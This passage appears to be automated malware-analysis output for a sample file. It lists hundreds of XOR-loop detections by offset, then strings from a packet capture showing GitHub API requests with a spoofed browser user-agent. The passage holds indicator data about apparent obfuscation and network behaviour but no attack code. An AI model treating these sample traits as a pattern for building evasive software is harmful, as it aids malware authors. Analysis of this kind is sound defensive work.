30d0 Found XOR loop in file "sample.bin" at offset 4954675; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5039490; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5117315; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5183676; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5338025; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5363927; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5446342; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5578899; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5611912; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5635323; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5736548; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5782818; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5852557; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5876538; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5904335; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5919863; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6094070; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6104806; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6135421; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6214693; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6281611; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6390456; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6448010; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6466855; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6474897; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6552400; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6562680; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6586709; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6617595; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6726954; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6769214; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6966165; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7005159; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7022086; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7062125; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7077275; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7173804; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7176069; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7201644; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7291287; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7444551; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7632599; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7664646; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7772170; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7839315; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7924130; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8001955; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8068316; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8222665; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8248567; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8330982; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8463539; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8496552; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8519963; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8621188; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8667458; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8737197; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8761178; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8788975; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8804503; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8978710; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 8989446; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 134250; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 140175; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 169135; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 169195; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 406353; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 425617; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 458913; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 532530; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 702388; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 763152; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 868679; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 943373; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 951646; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 952642; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 956772; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 961914; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1027938; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1135756; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1273027; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1390797; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1419067; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1487697; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1544692; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1662910; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1710750; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1733956; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1875201; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1891370; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1991730; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2001594; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2168564; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2208806; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2244466; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2317670; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2317735; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2340523; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2369782; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2417315; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2490098; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2570265; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2579722; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2594697; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2669164; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2677136; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2680022; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2847464; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2862291; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3022357; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3156118; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3161022; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3197724; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3199729; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3347782; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3382950; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3468362; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3626666; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3702202; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3753919; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3828613; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3836886; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3837882; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3842012; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3847154; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3913178; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4020996; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4158267; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4276037; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4304307; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4372937; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4429932; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4548150; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4595990; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4619196; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4760441; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4776610; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4876970; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4886834; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5053804; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5094046; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5129706; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5202910; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5202975; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5225763; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5255022; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5302555; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5375338; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5455505; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5464962; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5479937; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5554404; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5562376; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5565262; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5732704; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5747531; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5907597; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6041358; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6046262; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6082964; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6084969; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6111581; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6232422; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6267590; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6353002; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6511306; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6586842; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6638559; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6713253; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6721526; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6722522; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6726652; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6731794; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6797818; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6905636; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7042907; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7160677; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7188947; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7257577; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7314572; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7432790; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7480630; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7503836; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7645081; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7661250; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7761610; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7771474; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7938444; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7978686; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8014346; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8087550; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8087615; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8110403; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8139662; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8187195; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8259978; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8340145; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8349602; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8364577; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8439044; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8447016; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8449902; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8617344; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8632171; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8792237; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8925998; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8930902; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8967604; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8969609; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 8996221; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 9011404; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 339478; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 343404; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 349426; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 350252; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 567193; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 608474; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 660065; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 713268; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 957294; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1090756; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1110350; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1118240; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1296528; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1394125; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1553610; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1709077; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1802440; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1843372; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1870748; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1884168; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1885148; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1933667; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1972975; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2011099; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2038591; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2056547; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2060930; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2089377; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2103767; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2104170; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2145214; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2164597; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2231323; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2281798; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2387354; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2407985; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2437432; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2463577; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2667341; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2674981; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2709537; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2762996; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2795730; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2929295; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2943412; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2950240; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3073431; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3079210; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3119848; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3147517; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3184948; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3399599; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3460698; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3470695; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3519537; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3535173; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3842534; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3975996; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3995590; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4003480; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4181768; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4279365; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4438850; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4594317; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4687680; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4728612; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4755988; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4769408; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4770388; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4818907; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4858215; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4896339; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4923831; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4941787; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4946170; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4974617; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4989007; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4989410; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5030454; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5049837; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5116563; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5167038; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5272594; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5293225; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5322672; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5348817; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5552581; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5560221; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5594777; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5648236; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5680970; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5814535; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5828652; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5835480; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5958671; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5964450; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6005088; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6032757; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6070188; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6284239; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6345338; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6355335; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6404177; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6419813; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6727174; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6860636; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6880230; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6888120; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7066408; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7164005; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7323490; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7478957; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7572320; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7613252; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7640628; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7654048; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7655028; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7703547; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7742855; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7780979; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7808471; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7826427; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7830810; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7859257; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7873647; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7874050; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7915094; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7934477; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8001203; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8051678; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8157234; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8177865; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8207312; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8233457; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8437221; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8444861; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8479417; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8532876; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8565610; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8699175; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8713292; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8720120; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8843311; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8849090; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8889728; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8917397; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 8954828; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 9009698; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 9012600; code bytes = 80302f:T17c4,Found string "api.github.com" (Indicator: "github.com"; File: "PCAP") file/memory contains long string with (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/laravel/laravel/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/saltstack/salt/releases HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/facebook/react-native/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/ansible/ansible/releases HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/axios/axios/tags HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/traefik/traefik/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/rust-lang/rust/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/netdata/netdata/contributors HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/biomejs/biome/commits HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/facebook/prophet/releases HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/argoproj/argo-cd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/torvalds/linux/releases HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/cypress-io/cypress HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/jestjs/jest/releases HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/google/jax/tags HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repositories/154739597/tags HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Accept-Encoding: gzip, deflateHost: api.github.com" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/strapi/strapi/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/facebookresearch/llama/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 